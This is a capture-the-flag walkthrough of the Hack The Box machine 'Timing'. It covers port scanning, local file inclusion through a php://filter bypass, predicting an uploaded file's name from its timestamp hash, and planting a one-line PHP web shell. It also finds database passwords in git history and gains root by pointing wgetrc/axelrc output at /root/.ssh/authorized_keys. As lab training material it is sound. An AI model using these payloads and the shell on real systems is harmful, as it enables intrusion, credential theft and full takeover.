Medium difficulty box
RECON
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-25 15:49 CET
Nmap scan report for timing.htb (10.10.11.135)
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Simple WebApp
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.37 seconds
FUZZING
starlord@HAL-9000:~$ ffuf -u http://10.10.11.135/FUZZ.php -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
ffuf
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.11.135/FUZZ.php
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
.hta [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10]
footer [Status: 200, Size: 3937, Words: 1307, Lines: 116]
header [Status: 302, Size: 0, Words: 1, Lines: 1]
.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10]
image [Status: 200, Size: 0, Words: 1, Lines: 1]
index [Status: 302, Size: 0, Words: 1, Lines: 1]
login [Status: 200, Size: 5609, Words: 1755, Lines: 178]
logout [Status: 302, Size: 0, Words: 1, Lines: 1]
profile [Status: 302, Size: 0, Words: 1, Lines: 1]
upload [Status: 302, Size: 0, Words: 1, Lines: 1]
:: Progress: [4702/4702] :: Job [1/1] :: 1803 req/sec :: Duration: [0:00:06] :: Errors: 0 ::
LOCAL FILE INCLUSION
LFI can be found here:
http://10.10.11.135/image.php?img=/etc/passwd
but we are met with "hacking attempt detected" on a blank page.
We can bypass the issue with the php wrapper php://filter as follows:
http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd
decode results as base64 and find home path for the user aaron:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
And get any php file as below:
http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=any.php
upload.php is the target.
FOOTHOLD
we grab code with this trick again:
http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=upload.php
#upload.php
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
md5("$file_hash") will be calling the string inside the quotes, and not the value of the variable $file_hash.
After making sure i was on the same timezone settings, I made a php file called filename.php. At the same time we upload our starshell.jpg, we need to run filename.php to catch the right hash, which will change every minute, so I piped it with the uniq command, to limit our output to unique values.
#starshell.jpg
<?php system($_GET[cmd]);?>
#filename.php
<?php
$upload_dir = "images/uploads/";
$file = "starshell.jpg";
$file_name = md5('$file_hash' . time()) . '_' . $file;
$target_file = $upload_dir . $file_name;
#echo $file_name;
echo $target_file;
echo PHP_EOL;
?>
#md5.sh
while true
do
php -f filename.php
done
./md5.sh | uniq > hashes #this will print only one of each in the file 'hashes'
With ‘hashes’ used as a wordlist, we can find the filename with ffuf as below:
starlord@HAL-9000:~/Bureau/Fun/Hackthebox/Timing$ ffuf -u http://10.10.11.135/FUZZ -w hashes
ffuf
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.11.135/FUZZ
:: Wordlist : FUZZ: hashes
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
images/uploads/837f8a5c1d9200b9902f86944c68c9b8_starshell.jpg [Status: 200, Size: 31, Words: 3, Lines: 2]
:: Progress: [18/18] :: Job [1/1] :: 42 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
In order to trigger the exploit, just visit this url and enjoy remote code execution!
http://10.10.11.135/image.php?img=images/uploads/837f8a5c1d9200b9902f86944c68c9b8_starshell.jpg&cmd=id
USER
I couldn’t manage a reverse shell in that state but after some more enumeration we can find password in git logs for /opt/source-files-backup.zip
http://10.10.11.135/image.php?img=images/uploads/837f8a5c1d9200b9902f86944c68c9b8_starshell.jpg&cmd=cp /opt/* .
http://10.10.11.135/image.php?img=images/uploads/837f8a5c1d9200b9902f86944c68c9b8_starshell.jpg&cmd=python3 -m http.server 4567
wget 10.10.11.135:4567/sources-files-backup.zip
7z x sources-files-backup.zip
cd sources-files-backup/.git
git log
git checkout "enter git log hash here"
According to the comments in the previous commits, db_conn.php has our password
#recent db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd'); ?>
#old db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd'); ?>
ssh aaron@timing
ROOT
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
serve from attack box
python3 -m http.server 8000
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.xx.xx:8000/starky Initializing download: http://10.10.xx.xx:8000/starky File size: 2602 bytes Opening output file starky Server unsupported, starting from scratch with one connection. Starting download
[ 0%] ..
Downloaded 2.5 Kilobyte in 0 seconds. (25.34 KB/s)
netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input >> 2
when trying the two options we realize the options call 2 different unix programs: axel and wget. Those two programs actually dot rc files to store some working variables such as the default path or filename. Having a close look at the man page led me to notice we can use .rc files to actually link /root/.ssh/authorized_keys with the name of the file we intend to download. This trick will work with both commands.
#.axelrc
defaut_filename = /root/.ssh/authorized_keys
#.wgetrc
output_document = /root/.ssh/authorized_keys
Now we simply serve a self generated ssh public key (called mine index.html in order to trigger the default_filename from axelrc) and run netutils binary to bring it to the victim.
We can now connect as root from attacker, using the private key with no password. (except if you set one when generating your ssh key)
ssh -i id_rsa root@timing
SENTIMENT
I really liked solving the foothold part, which involved a fair bit of code review. It was quite a success to finally find the right uploaded file name, all thanks to a good timing. For the User part, passwords in git commits is becoming quite common these days… I think the root part was a nice “think outside the box” challenge, but felt a bit too easy as it didn’t require too much enumeration to find. All of the attack paths were nicely laid out, and I enjoyed practicing some php code.
uploaded 02.04.2022